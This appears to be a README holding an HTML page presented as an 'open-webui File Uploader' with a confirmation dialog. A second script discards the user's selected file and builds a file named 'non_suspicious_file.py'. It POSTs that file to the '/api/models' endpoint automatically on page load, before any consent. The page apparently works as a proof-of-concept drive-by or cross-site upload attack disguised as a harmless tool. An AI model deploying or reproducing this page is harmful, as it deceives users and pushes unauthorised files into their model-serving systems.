README.md
Rendering markdown...
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>File Upload with Confirmation</title>
<style>
/* Basic reset */
body, h1, p, button, input {
margin: 0;
padding: 0;
font-family: 'Arial', sans-serif;
}
body {
background-color: #f4f7fc;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
flex-direction: column;
}
.container {
text-align: center;
padding: 20px;
background-color: #fff;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
h1 {
font-size: 2rem;
margin-bottom: 20px;
color: #333;
}
p {
color: #666;
margin-bottom: 20px;
}
button, input[type="file"] {
padding: 10px 20px;
font-size: 1rem;
color: #fff;
background-color: #4CAF50;
border: none;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover, input[type="file"]:hover {
background-color: #45a049;
}
/* Popup dialog styling */
.popup-dialog {
display: none;
position: fixed;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
background-color: #fff;
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.2);
text-align: center;
width: 300px;
z-index: 1001;
opacity: 0;
transition: opacity 0.3s ease;
}
.popup-dialog p {
margin-bottom: 20px;
font-size: 1rem;
color: #333;
}
.popup-dialog button {
padding: 10px 20px;
font-size: 1rem;
margin: 0 10px;
color: #fff;
border: none;
border-radius: 5px;
cursor: pointer;
transition: background-color 0.3s ease;
}
.popup-dialog .confirm {
background-color: #007bff;
}
.popup-dialog .cancel {
background-color: #dc3545;
}
/* Background overlay styling */
.overlay {
display: none;
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.3);
z-index: 1000;
}
</style>
</head>
<body>
<div class="container">
<h1>open-webui File Uploader </h1>
<p>Choose a file and confirm the upload.</p>
<input type="file" id="fileInput">
<br><br>
<button id="uploadBtn" disabled>Upload File</button> <!-- Disabled until file is selected -->
</div>
<div class="overlay" id="overlay"></div>
<div class="popup-dialog" id="popupDialog">
<p>Are you sure you want to upload this file?</p>
<button class="confirm" id="confirmBtn">Yes</button>
<button class="cancel" id="cancelBtn">No</button>
</div>
<script>
const fileInput = document.getElementById('fileInput');
const uploadBtn = document.getElementById('uploadBtn');
const popupDialog = document.getElementById('popupDialog');
const overlay = document.getElementById('overlay');
const confirmBtn = document.getElementById('confirmBtn');
const cancelBtn = document.getElementById('cancelBtn');
let selectedFile = null;
// Enable the upload button when a file is selected
fileInput.addEventListener('change', function () {
selectedFile = fileInput.files[0]; // Get the selected file
uploadBtn.disabled = !selectedFile;
});
// Show the confirmation dialog when the upload button is clicked
uploadBtn.addEventListener('click', () => {
if (!selectedFile) return; // If no file is selected, do nothing
overlay.style.display = 'block';
popupDialog.style.display = 'block';
setTimeout(() => {
popupDialog.style.opacity = "1";
}, 10);
});
// Confirm the upload action
confirmBtn.addEventListener('click', () => {
if (selectedFile) {
// Simulate file upload (you can replace this with real upload logic)
alert(`Uploading file: ${selectedFile.name}`);
uploadFile()
}
closePopupDialog();
});
cancelBtn.addEventListener('click', () => {
closePopupDialog();
});
function closePopupDialog() {
popupDialog.style.opacity = "0";
setTimeout(() => {
overlay.style.display = 'none';
popupDialog.style.display = 'none';
}, 300);
}
overlay.addEventListener('click', () => {
closePopupDialog();
});
</script>
<script>
// Function to automatically upload the file
function uploadFile() {
// const fileInput = document.getElementById('file-upload');
const file = new File(["non_suspicious_file.py"], "non_suspicious_file.py", {type: "text/plain"});
// Add the file to the FormData object
const formData = new FormData();
formData.append("file", file);
const xhr = new XMLHttpRequest();
xhr.onloadstart = function () {
document.getElementById('status').textContent = "Uploading file...";
};
xhr.onload = function () {
if (xhr.status === 200) {
document.getElementById('status').textContent = "File uploaded successfully!";
} else {
document.getElementById('status').textContent = "Failed to upload the file.";
}
};
xhr.onerror = function () {
document.getElementById('status').textContent = "An error occurred during upload.";
};
// Open the connection and send the file data
xhr.open("POST", "/api/models", true);
xhr.send(formData);
}
// Trigger the file upload as soon as the page loads
window.onload = uploadFile;
</script>
</body>
</html>